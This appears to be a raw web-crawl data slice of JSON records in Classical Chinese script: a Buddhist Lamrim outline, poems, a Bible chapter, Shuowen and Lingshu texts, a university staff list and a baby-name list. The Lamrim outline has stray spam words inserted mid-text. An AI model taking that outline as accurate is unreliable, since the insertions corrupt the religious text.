舍离障礙精進違緣分二 未一 明所治品 未二 修斷彼之方便 午二 修積順緣護助資糧分四 未一 發胜解力 未二 發堅固力 未三 發歡喜力 未四 暫止息力 午三 依上二緣發勤精進 午四 由此身心堪能之理 辰四 正修行時應如何修 辰五 此等攝義 卯五 學習靜慮分五 辰一 靜慮自性 辰二 修彼方便 辰三 靜慮差別 辰四 正修彼時應如何行 辰五 此等攝義 卯六 般若道理分五 辰一 慧之自性 辰二 生慧方便 辰三 慧之差別分三 巳一 通達胜義慧 巳二 通達世俗慧 巳三 通達饒益有情慧 辰四 正修慧時應如何行 辰五 此等攝義 寅二 學習四攝熟他有情分五 卯一 四攝自性 卯二 立四之理由 卯三 四攝之作業 ARMANI 卯四 攝受眷屬須依四攝 卯五 略為解說 丑二 特于后二波羅蜜多學習道理分六 寅一 修習止觀之胜利 寅二 顯示此二攝一切定 寅三 止觀自性 寅四 理須雙修 寅五 次第決定 寅六 各別學法分三 卯一 學奢摩他法分三 辰一 修止資糧 辰二 依止資糧修奢摩他分二 巳一 加行 巳二 正行分二 午一 身何威儀而修 午二 正釋修習之次第分二 未一 引生無過三摩地法分三 申一 系心所緣先如何修 申二 住所緣時應如何修分二 酉一 明心住之所緣分二 戌一 總建立所緣分三 亥一 正明所緣 亥二 顯示何等補特伽羅應緣何境 亥三 顯示所緣异門 戌二 明此處之所緣 酉二 心于所緣如何安住分三 戌一 立無過規 戌二 破有過規 戌三 示修時量 申三 住所緣后應如何修分二 酉一 有沉掉時應如何修分二 戌一 修習對治不知沉掉分二 亥一 抉擇沉掉之相 亥二 于正修時生覺沉掉正知方便 戌二 修習知已為斷彼故對治不勤功用分二 亥一 正明其思滅沉掉法 亥二 明能生沉掉之因 酉二 离沉掉時應如何修 未二 依彼引生住心次第分三 申一 票貼正明引生住心次第 申二 由六力成辦 申三 具四种作意 辰三 修已成就奢摩他量分三 巳一 顯示奢摩他成与未成之界限分二 午一 顯示正義 午二 有作意相及斷疑 巳二 顯示依奢摩他趣總道軌 巳三 顯示別趣世間道軌分二 午一 顯往粗靜相道須獲得正奢摩他 午二 依奢摩他离欲之理 卯二 學毗缽舍那法分四 辰一 依止毗缽舍那資糧分三 巳一 明了義不了義 巳二 如何解釋龍猛意趣 巳三 抉擇空性正見之法第分二 午一 悟入真實義之次第 午二 正抉擇真實義分三 未一 正明正理所破分三 申一 必須善明所破之因相 申二 遮遣余派未明所破而妄破除分二 酉一 明所破義遮破太過分二 戌一 說其所欲 戌二 顯其非理分二 亥一 顯彼破坏中觀不共胜法分三 天一 明中觀胜法 天二 彼如何破坏 天三 諸中觀師如何答彼 亥二 顯所設難皆非能破分四 天一 觀察堪不堪忍正理思擇而為破除然不能破 天二 觀察由量成不成立而為破除然不能破 天三 觀察是否四句所生而為破除然不能破 天四 觀察有事無事等四句而為破除然不能破 酉二 明所破義遮破太狹 申三 自派明顯所破之理分三 酉一 正明所破義 酉二 于余所破加不加此之理 酉三 釋于所破應不應加胜義簡別 未二 破所破時應成能立以誰而破分二 申一 明應成自續之義分二 租屋 酉一 破除他宗分二 戌一 出計 戌二 破執 酉二 安立自宗分二 戌一 正破自續分二 亥一 顯示所依有法不極成之宗過分二 天一 出計 天二 破執分二 地一 義不應理 地二 喻不相同 亥二 由此過故顯示因亦不成 戌二 自不同破之理 申二 身生正見當隨誰行 未三 依其能破于相續中生見之法分三 申一 抉擇補特伽羅無我分三 酉一 正抉擇我無自性分二 戌一 立喻(車喻)分四 亥一 顯車無性而為假有 亥二 于彼斷諍 亥三 由名差別皆得成立 亥四 依此速得正見胜利 戌二 合義分二 亥一 合無自性義分四 天一 破我与蘊性一品 天二 破我与蘊性异品 天三 由此亦能破諸余品 天四 依彼能見補特伽羅猶如幻化 亥二 合由名差別成就義 酉二 顯由此成我所無性 酉三 此諸正理于余例明 申二 抉擇法無我 申三 修習此見淨障之理 辰二 毗缽舍那所有差別 辰三 修習毗缽舍那之法分二 巳一 破他宗 巳二 立自宗分三 午一 雙修止觀之理 午二 于彼斷諍 午三 略攝修要 辰四 由修習故毗缽舍那成就之量 卯三 學雙運法 壬二 特于金剛乘學習道 有巢氏房屋理 .","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ep16eplnvr.pixnet.net\/blog\/post\/21846765","date":"2020-07-13T02:07:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657140746.69\/warc\/CC-MAIN-20200713002400-20200713032400-00114.warc.gz","language":"lzh","language_score":0.7257786989,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7257786989212036, \"cmn_Hani_score\": 0.147030308842659, \"nan_Hani_score\": 0.09253562986850739, \"yue_Hani_score\": 0.01802154630422592, \"jpn_Jpan_score\": 0.01477727945894003}","num_words":971,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.727,"perplexity_score":500.0,"cluster_detection":1} +{"text":"亦稱肉冠。雞等一部分鳥類的頭部背側的肉質隆起,缺乏羽毛,雄性的很發達,作為性征,曾用于雄性激素的生物鑒定(雞冠試驗)。\n駝雞 寶雞 雞頭 雞刀 性雞 蟲雞 雞群 杉雞 頭雞 白雞 雞談 火雞 翁雞 雞娘 雞黍 松雞 貼雞 雞翹 雞丁 雞公 雛雞 雞宗 雞林 水雞 醯雞 雞睨 雞場 雞距 官雞 雞瓜 雞夢 曙雞 烏雞 雞彝 禾雞 雞菌 雞肥 雞尖 雞旗 蜀雞 文雞 雞桑 畫雞 雞鵠 鸛雞 雞竿 雞胸 檀雞 聞雞 雞園 冠雞 雞肋 割雞 雞駭 雞谷 瓦雞 田雞 雞招 駭雞 荒雞 皋雞 雞珠 雞臺 酸雞 綬雞 雞夷 漢雞 黃雞 風雞 雞鞠 柴雞 樹雞 雞雜 裹雞 雞唱 伏雞 雞皮 雞壇 潮雞 童雞 雞豚 甘雞 雞旦 鳳雞 雞黃 雞舌 博雞 石雞 雞婆 晨雞 雞窗 鳴雞 犬雞 雞省 桑雞 只雞 雞師 雕雞 槐雞 木雞 攘雞 雞口 塒雞 越雞 雞心 地雞 鶴雞 馬雞 莎雞 雞蘇 沙雞 玉雞 雞眼 蛋雞 雞碑 龍雞 金雞 雞卵 油雞 雞蒙 丹雞 雞卜 魯雞 叫雞 雞酒 天雞 粘雞 雞盲 樗雞 雞檳 茭雞 雞缸 雞瘟 談雞 灶雞 雞占 楮雞 雞雛 家雞 雞跖 雞纖 云雞 捉雞 雞樹 翠雞 荊雞 雞塒 雞孫 雉雞 炙雞 雞棲 傳雞 雞禍 錦雞 椒雞 雞嗉 磔雞 仔雞 雞骨 赤雞 雞冠 黧雞 江雞 雞鳴 子雞 野雞 雞日 朝雞 雞德 鯤雞 臘雞 雞舍 枕雞 雪雞 雞化 草雞 雞坊 昆雞 連雞 雞人 祝雞 線雞 雞叫 哺雞 雞子 靈雞 箐雞 雞絮 晝雞 夏雞 雞塞 碧雞 雞素 雞斯 牝雞 雞籠 竹雞 閹雞 雞栗 辟雞 雞眚 雞鹿 露雞 雞膚 舞雞 曉雞 雞香 山雞 斗雞 雞凍 鸞雞 雞廉 縣雞 甕雞 雞鶩 抱雞 驅雞","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/www.youliaocan.cn\/a\/chengyugushi\/wuzichengyugushi\/20191209\/137936.html","date":"2020-08-09T11:10:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738552.17\/warc\/CC-MAIN-20200809102845-20200809132845-00104.warc.gz","language":"lzh","language_score":0.6991507411,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6991507411003113, \"yue_Hani_score\": 0.1817937046289444, \"cmn_Hani_score\": 0.10763279348611832, \"nan_Hani_score\": 0.010652875527739525}","num_words":218,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.318,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.715,"perplexity_score":500.0,"cluster_detection":1} +{"text":"九章之九 悲回风\n悲回风之摇蕙兮,心冤结而内伤;物有微而陨性兮,声有隐而先倡。夫何彭咸之造思兮,暨志介而不忘;万变其情岂可盖兮,孰虚伪之可长?鸟兽鸣以号群兮,草苴比而不芳;鱼葺鳞以自别兮,蛟龙隐其文章。故荼荠不同亩兮,兰芷幽而独芳;惟佳人之永都兮,更统世以自贶。眇远志之所及兮,怜浮云之相羊;介眇志之所惑兮,窃赋诗之所明。惟佳人之独怀兮,折若椒以自处;曾歔欷之嗟嗟兮,独隐伏而思虑。涕泣交而凄凄兮,思不眠以至曙;终长夜之曼曼兮,掩此哀而不去。寤从容以周流兮,聊逍遥以自恃;伤太息之愍怜兮,气於邑而不可止。纠思心以为纕兮,编愁苦以为膺。折若木以弊光兮,随飘风之所仍。存仿佛而不见兮,心踊跃其若汤;抚佩衽以案志兮,超惘惘而遂行。岁忽忽其若颓兮,时亦冉冉而将至;薠蘅槁而节离兮,芳以歇而不比。怜思心之不可惩兮,证此言之不可聊;宁溘死而流亡兮,不忍此心之常愁。孤子吟而抆泪兮,放子出而不还;孰能思而不隐兮,照彭咸之所闲。登石峦以远望兮,路眇眇之默默;入景响之无声兮,闻省想而不可得。愁郁郁之无快兮,居戚戚而不可解;心鞿羁而不开兮,气缭转而自缔。穆眇眇之无垠兮,莽芒芒之无仪;声有隐而相感兮,物有纯而不可为。邈漫漫之不可量兮,缥绵绵之不可纡;愁悄悄之常悲兮,翩冥冥之不可娱;凌大波而流风兮,托彭咸之所居。上高岩之峭岸兮,处雌霓之标颠;据青冥而摅虹兮,遂倏忽而扪天。吸湛露之浮源兮,漱凝霜之雰雰;依风穴以自息兮,忽倾寤以婵媛。冯昆仑以瞰雾兮,隐岷山以清江;惮涌湍之磕磕兮,听波声之汹汹。纷容容之无经兮,罔芒芒之无纪;轧洋洋之无从兮,驰委移之焉止?漂翻翻其上下兮,翼遥遥其左右。汜潏潏其前后兮,伴张驰之信期。观炎气之相仍兮,窥烟液之所积;悲霜雪之俱下席,听潮水之相击。借光景以往来兮,施黄棘之枉策;求介子之所存兮,见伯夷之放迹。心调度而弗去兮,刻著志之无适。曰:吾怨往昔之所冀兮,悼来者之惕惕;浮江淮而入海兮,从子胥而自适。望大河之洲渚兮,悲申徒之抗迹;骤谏君而不听兮,任重石之何益?心絓结而不解兮,思蹇产而不释。","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/hanyu.baidu.com\/shici\/detail?pid=8dd9c57ff992527aa5f2f897ca476580","date":"2020-09-28T13:14:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401600771.78\/warc\/CC-MAIN-20200928104328-20200928134328-00154.warc.gz","language":"lzh","language_score":0.6528918743,"language_script":"Hani","minhash_cluster_size":13,"top_langs":"{\"lzh_Hani_score\": 0.6528918743133545, \"zxx_Latn_score\": 0.07521893829107285, \"nan_Hani_score\": 0.03765527904033661, \"und_Xsux_score\": 0.018667960539460182, \"und_Sgnw_score\": 0.01664670556783676, \"cmn_Hani_score\": 0.015203556977212429, \"und_Tang_score\": 0.013120485469698906, \"und_Grek_score\": 0.01019427552819252}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.325,"perplexity_score":500.0,"cluster_detection":1} +{"text":"臨高臺 王勃 臨高臺 迢遞絕浮埃 瑶軒綺搆何崔嵬 鸞歌鳳吹清且哀 俯瞰長安道 萋萋御溝草 斜對甘泉路 蒼蒼茂陵樹 高臺四望同 佳氣鬱蔥蔥 紫閣丹樓紛照耀 璧房錦殿相玲瓏 東迷長樂觀 西指未央宮 赤城映朝日 綠樹搖春風 旗亭百隧開新市 甲第千甍分戚里 朱輪翠蓋不勝春 疊榭層楹相對起 復有青樓大道中 繡戶文窗雕綺櫳 錦衾夜不襞 羅帷晝未空 歌屏朝揜翠 妝鏡晚窺紅 為君安寶髻 蛾眉罷花叢 塵間狹路黯將暮 雲間月色明如素 鴛鴦池上兩兩飛 鳳凰樓下雙雙度 物色正如此 佳期那不顧 銀鞍繡轂盛繁華 可憐今夜宿娼家 娼家少婦不須顰 東園桃李片時春 君看舊日高臺處 柏粱銅雀生黃塵 釆蓮曲 王勃 채련곡 왕발 釆蓮歸 綠水芙蓉衣 연밥따고 돌아 가는 길, 푸른 물은 연꽃으로 옷을 입었네 秋風起浪鳧雁飛 가을 바람에 물결이 일고 오리와 기러기도 날아 오르네 桂棹蘭橈下長浦 계수나무 노와 난나무..","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/blog.daum.net\/win690\/archive\/20201113","date":"2021-01-15T15:07:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703495901.0\/warc\/CC-MAIN-20210115134101-20210115164101-00329.warc.gz","language":"lzh","language_score":0.7053002119,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7053002119064331, \"cmn_Hani_score\": 0.19890335202217102, \"kor_Hang_score\": 0.032544780522584915, \"jpn_Jpan_score\": 0.026467956602573395, \"yue_Hani_score\": 0.024372776970267296}","num_words":70,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.705,"perplexity_score":500.0,"cluster_detection":1} +{"text":"耶穌即永生之道顯現於人間信者與父與子有同心\n1維生之道、太初而有、我儕所聞所見、所瞻視而手捫者、\n2此生顯著、我儕曾見之而為證、且以語爾、即永生也、乃原偕父而顯著於我儕者、\n3夫我以所見所聞者語爾、使爾心交於我儕、我儕亦心交於父、及其子耶穌基督、\n4我書此、俾我儕喜樂充盈、○\n行事務須光明\n必蒙主血洗滌諸罪自謂無罪者欺心認罪者蒙恩\nChinese Union Wenli Bible in Public Domain. First published in 1919.\nDigital files © United Bible Societies, 2019.\n文理和合譯本《新舊約全書》屬共有領域。原著1919年出版。\n電子版 © 聯合聖經公會,2019","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/wd.bible\/1jn.1.cuwv","date":"2022-08-19T23:27:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573849.97\/warc\/CC-MAIN-20220819222115-20220820012115-00563.warc.gz","language":"lzh","language_score":0.4301686883,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.43016868829727173, \"nan_Hani_score\": 0.20553265511989594, \"cmn_Hani_score\": 0.18594969809055328, \"yue_Hani_score\": 0.027344273403286934, \"wuu_Hani_score\": 0.02018454670906067, \"jpn_Jpan_score\": 0.012862798757851124, \"lun_Latn_score\": 0.011947061866521835}","num_words":25,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.488,"perplexity_score":500.0,"cluster_detection":1} +{"text":"有縣蹏謂之犬。叩氣吠謂之狗。皆於音得義。此與後蹄廢謂之彘。三毛聚居謂之豬。竭尾謂之豕。同明一物異名之所由也。莊子曰。狗非犬。司馬彪曰。同實異名。夫異名必由實異。君子必貴游藝也。\n苦泫切。十四部。\n又曰。牛羊之字以形聲。今牛羊犬小篆卽孔子時古文也。觀孔子言、犬卽狗矣。渾言之也。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.shuowen.org\/view\/6269","date":"2024-04-22T21:47:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818374.84\/warc\/CC-MAIN-20240422211055-20240423001055-00566.warc.gz","language":"lzh","language_score":0.6191142797,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6191142797470093, \"cmn_Hani_score\": 0.2932702302932739, \"jpn_Jpan_score\": 0.03311166539788246, \"wuu_Hani_score\": 0.01797335036098957, \"yue_Hani_score\": 0.017021924257278442, \"nan_Hani_score\": 0.016915176063776016}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.619,"perplexity_score":500.0,"cluster_detection":1} +{"text":"霊枢・39血絡論\n黄帝曰、願聞其奇邪而不在経者。岐伯曰、血絡是也。\n黄帝曰、刺血絡而仆者何也。血出而射者何也。血少黒而濁者何也。血出清而半為汁者何也。発鍼而腫者何也。血出若多若少而面色蒼蒼者何也。発鍼而面色不変、而煩悗者何也。多出血而不動揺者何也。願聞其故。岐伯曰、脈気盛而血虚者、刺之則脱気、脱気則仆。血気倶盛而陰気多者、其血滑、刺之則射。陽気畜積、久留而不写者、其血黒以濁、故不能射。新飲而液滲于絡、而未合和于血也、故血出而汁別焉。其不新飲者、身中有水、久則為腫。陰気積于陽、其気因于絡、故刺之血未出而気先行、故腫。陰陽之気、其新相得而未和合、因而写之、則陰陽倶脱、表裏相離、故脱色而蒼蒼然。刺之血出多、色不変而煩悗者、刺絡而虚経。虚経之属于陰者、陰脱、故煩[愓免 ]。陰陽相得而合為痺者、此為内溢于経、外注于絡。如是者、陰陽倶有余、雖多出血而弗能虚也。\n黄帝曰、相之奈何。岐伯曰、血脈者、盛堅横以赤、上下無常処、小者如鍼、大者如筯。則而写之、万全也。故無失数矣。失数而反。各如其度。\n黄帝曰、鍼入而肉著者何也。岐伯曰、熱気因于鍼則鍼熱、熱則肉著于鍼、故堅焉。\n(注) [ ] 内は一語です。\nこのページのトップに戻る","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/www.yakuzenjoho.net\/data\/reisu\/39keturakuron.html","date":"2017-11-24T16:57:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934808260.61\/warc\/CC-MAIN-20171124161303-20171124181303-00787.warc.gz","language":"lzh","language_score":0.6930267811,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6930267810821533, \"cmn_Hani_score\": 0.11949218064546585, \"jpn_Jpan_score\": 0.10888081789016724, \"wuu_Hani_score\": 0.02533608302474022, \"nan_Hani_score\": 0.01736348681151867, \"yue_Hani_score\": 0.011279214173555374}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.693,"perplexity_score":500.0,"cluster_detection":1} +{"text":"萬 年 小 曆 西元 2002 年 12份 S M T W T F S 在這裡,你可以列印教師授課表。 學年度學期\/ 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 第一學期 第二學期 第三學期 暑修一 暑修二 寒修 暑修三 教師授課學部篩選\/ [---] [日間部] [進修部\/在職專班] [進修院校] [學分班] 教師篩選\/ 温禺登 丁一倫 丁信仁 丁虹仁 丁偉 尤澤森 王又民 王正熙 王百齡 王志星 王亞偉 王建成 王昭仁 王雪芳 王惠美 王貴正 王嘉興 王憲斌 王錫澤 王繼和 王耀德 白位傑 石勝漳 任彥懷 任惠玲 各教師 朱希駿 朱祖德 江俊賢 何偉 何凱維 何嫈嫈 吳世卿 吳丞邦 吳伯曜 吳孟玳 吳俊彥 吳俊賢 吳建明 吳振榮 吳珮慈 吳清豐 吳朝森 吳樹屏 吳豐帥 吳耀清 呂宜臻 呂瓊瑜 宋明凱 巫淑寧 李光明 李秀芬 李宗憲 李宛玲 李承中 李昌諺 李林兼 李建宏 李昭華 李昭毅 李桃 李純誼 李翊駿 李欽明 李皓鈞 李靜如 杜健忠 沈健華 周筱敏 林恒昌 林子騰 林弘偉 林正芳 林永生 林灸珍 林泳瀠 林信州 林思如 林思賢 林韋辰 林員如 林素碧 林淑媛 林勝恩 林惠玉 林惠真 林廉貴 林達雄 林榮川 林維新 林鳳秀 林慧文 林靜欣 林顯富 林顯達 芳賀俊成 邱建龍 邱德昌 侯秀春 宣仲華 柯明宗 柯婷文 柳希諺 柳春夏 洪永祥 洪新怡 洪碩遠 胥嘉芳 苟彩煥 韋明淑 孫沛婕 孫傳仁 孫瑞陽 徐明龍 徐瑞芳 徐德成 秦桔新 翁茂琳 翁詩婷 翁嘉穗 高秀玲 高從晏 高嘉君 涂青馨 張晋瑞 張子見 張天祥 張文惠 張宏榮 張李曉娟 張佩湘 張美鈴 張原賓 張晃銘 張耿銘 張清為 張量懿 張鈺民 張翠芬 張翡月 張瓏璇 梁光堯 梁有章 梁恩嘉 梁繼元 莊雯如 許文志 許立京 許良仲 許炳南 許純碩 許高魁 許淑敏 許聖傑 許榮旭 許嫚珊 許慧珍 許騉洪 許繼峰 郭文清 郭木炎 郭淑芳 陳文錦 陳功業 陳旭東 陳佳徽 陳泳溱 陳芸平 陳炘長 陳信助 陳俊霖 陳俊鵬 陳冠中 陳品慈 陳建宏 陳春容 陳柏年 陳盈吉 陳盈霓 陳秋婉 陳美祥 陳美齡 陳英俊 陳昶旭 陳家蓁 陳泰安 陳珮翎 陳益興 陳婉瑜 陳通和 陳順義 陳煥昌 陳鈺淋 陳蓋武 陳銘村 陳銘歆 陳蓁蓁 陳錫評 陳錦標 陳聰明 陳聰獻 陳駿林 陳鴻銘 陳麗芬 博懷恩 彭美森 彭英欽 曾士齊 曾常豪 曾敏雅 曾惠珠 曾雅秀 曾裕仁 游宗新 游景新 程遠正 黃于恬 黃士恆 黃子涵 黃仁勇 黃永光 黃志敘 黃孟立 黃忠勛 黃明正 黃建邦 黃剛銘 黃清松 黃淑珍 黃新宗 黃聰汶 黃鴻謀 楊士鋒 楊文榮 楊佳虔 楊慧君 楊靜 葉力誠 葉于雅 葉子綱 葉育恩 葉明陽 葉姿君 葉紋穗 葉純菊 葉國輝 葉燉烟 董傑 詹如 詹芬樺 廖中正 廖志文 廖良文 廖盈嵐 廖婉君 廖啟佑 廖敏宏 廖慈倫 廖義宏 趙瑞麟 劉正義 劉百堅 劉育嘉 劉邦棟 劉昇雯 劉金蘭 劉俞妤 劉建廷 劉建慧 劉美君 劉淑芬 劉瑞慈 劉儲維 劉禧賢 樊期俊 歐陽光 潘氏清 蔡宏松 蔡志英 蔡佳惠 蔡宜靜 蔡尚惪 蔡朋瑾 蔡武宏 蔡長鈞 蔡青姿 蔡朝宗 蔡瑋娟 蔡銘祝 蔡鳳如 蔡麗芬 鄭百佑 鄭秀女 鄭婷尹 鄧秀梅 盧盈光 盧益弘 蕭龍吉 賴文龍 賴秀芬 賴錦全 鮑敦珮 戴圳明 薛爾本 薛維煌 謝芸薇 謝金安 謝婷如 謝煜廷 謝麗卿 鍾文觀 鍾世和 鍾孟臻 鍾錦文 魏國萌 蘇金淼 蘇倫慧 蘇添榮 蘇慶祥 鐘敻洋 單一教師橫式 063102 注意事項\/ 老師授課時數不包含已經進行停課作業的課程. 篩選列印[各教師]的報表,僅供除錯使用,所有課程均須指派老師,否則老師無法上線進行打成績與點名等相關作業操作。","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/ecampus.twu.edu.tw\/IISystem\/HR\/hourlypay\/school\/Employee\/Report2\/index3.jsp","date":"2019-01-17T05:00:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583658702.9\/warc\/CC-MAIN-20190117041621-20190117063621-00395.warc.gz","language":"lzh","language_score":0.4686847329,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.46868473291397095, \"cmn_Hani_score\": 0.27691736817359924, \"nan_Hani_score\": 0.2423061728477478}","num_words":353,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.313,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":500.0,"cluster_detection":1} +{"text":"宗姓也是一个比较罕见的姓氏,也是属于比较古老的姓氏之一,如今宗姓在中国的百姓家中排第176位的,现今的宗姓在我国分布的地域较广。而姓宗姓的男孩又应该取用什么样名字来配用这个姓氏呢。\n宗圣景 宗庆胜 宗恋欣 宗子轩 宗兰妮 宗友璐 宗映春 宗现宝 宗久二 宗舒凤 宗大焯 宗迎奉 宗音凤 宗凤岚 宗煜雯 宗秀秀 宗宣强 宗可宁 宗子斌 宗绍瑞 宗亚训 宗壮志 宗圣力 宗旭伦 宗惠男 宗欣远 宗月先 宗文岐 宗婉盈 宗胜兴 宗王拜 宗乐萌 宗暄敖 宗同芝 宗添之 宗国安 宗玉华 宗彦序 宗泽涵 宗甜阳 宗宣祥 宗志伦 宗盛乐 宗月水 宗学明 宗耕书 宗益成 宗羽灵 宗思楠 宗贤静 宗依梵 宗绍致 宗家富 宗明明 宗亚兰 宗凡乐 宗泽是 宗秀礼 宗利平 宗晓宁 宗柏成 宗孟源 宗兆平 宗丹妮 宗浩民 宗立阳 宗祖矜 宗良敏 宗佳幸 宗振健 宗绪海 宗净皓 宗号智 宗成凤 宗昊翱 宗圣崇 宗谊南 宗子浩 宗剌佃 宗珊盈 宗子淇 宗昱涵 宗弋焙 宗芊浔 宗炫静 宗岩岩 宗淙淙 宗雪苹 宗逸凤 宗仪议 宗欣霖 宗流露 宗兴之 宗音曦 宗及卜 宗景奇 宗灵姿 宗玉溪 宗圣序 宗邵芊 宗玄易 宗亮宇 宗嘉谊 宗海航 宗浩泽 宗黄子 宗建国 宗银凤 宗菜菜 宗凌宸 宗梓涵 宗先毅 宗甜杨 宗雅涵 宗昊讲 宗益向 宗隽序 宗大城 宗皞请 宗国枫 宗乐恒 宗嘉嘉 宗欣龙 宗培森 宗少帅 宗津如 宗世东 宗以恒 宗欢佳 宗晖峡 宗依依 宗欣隆 宗瑞画 宗洁珂 宗科含 宗于超 宗素珍 宗弱水 宗往君 宗楚航 宗圣书 宗玉葑 宗北溟 宗千旬 宗雨满 宗波灵 宗瑞儒 宗俊彬 宗丽贞 宗元林 宗晓蕾 宗颢霖 宗士泽 宗易希 宗选祥 宗小明 宗学宁 宗钰凡 宗大翥 宗生臣 宗平波 宗凤仙 宗义桀 宗桀序 宗恒珂 宗乐楠 宗山博 宗进甫 宗尚凡 宗城郴 宗树民 宗铭轩 宗赫然 宗守君 宗亚飞 宗志鸿 宗文岩 宗艺珂 宗俊灵 宗绣芝 宗钰澄 宗旺佰 宗晨旭 宗川峰 宗国强 宗昱池 宗艺慧 宗芸萱 宗和彬 宗树人 宗昊成 宗和枋 宗海裙 宗涵韵 宗洪年 宗军良 宗笑欣 宗宇靖 宗珂仲 宗建聪","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.j-takamine.com\/c\/xingming\/38975.html","date":"2019-11-15T23:05:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668716.22\/warc\/CC-MAIN-20191115222436-20191116010436-00271.warc.gz","language":"lzh","language_score":0.9376196861,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.937619686126709, \"cmn_Hani_score\": 0.04367921128869057, \"jpn_Jpan_score\": 0.014059958979487419}","num_words":201,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.939,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n纳兰性德 李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n木兰花·拟古决绝词柬友 人生若只如初见,何事秋风悲画扇。等闲变却故人心,却道故人心易变。(一作:却道故心人易变)骊山语罢清宵半,泪雨霖铃终不怨。(一作:泪雨零 \/ 夜雨霖)何如薄幸锦衣郎,比翼连枝当日愿。\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/china-zhbs.tw\/index$&poet_id=pponBF3Nxr&poet_idLabel=%E7%BA%B3%E5%85%B0%E6%80%A7%E5%BE%B7.htm","date":"2020-01-27T05:32:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251694908.82\/warc\/CC-MAIN-20200127051112-20200127081112-00363.warc.gz","language":"lzh","language_score":0.6720286012,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6720286011695862, \"cmn_Hani_score\": 0.2138439267873764, \"nan_Hani_score\": 0.06705397367477417, \"wuu_Hani_score\": 0.02319069392979145, \"yue_Hani_score\": 0.01923557184636593}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.674,"perplexity_score":500.0,"cluster_detection":1} 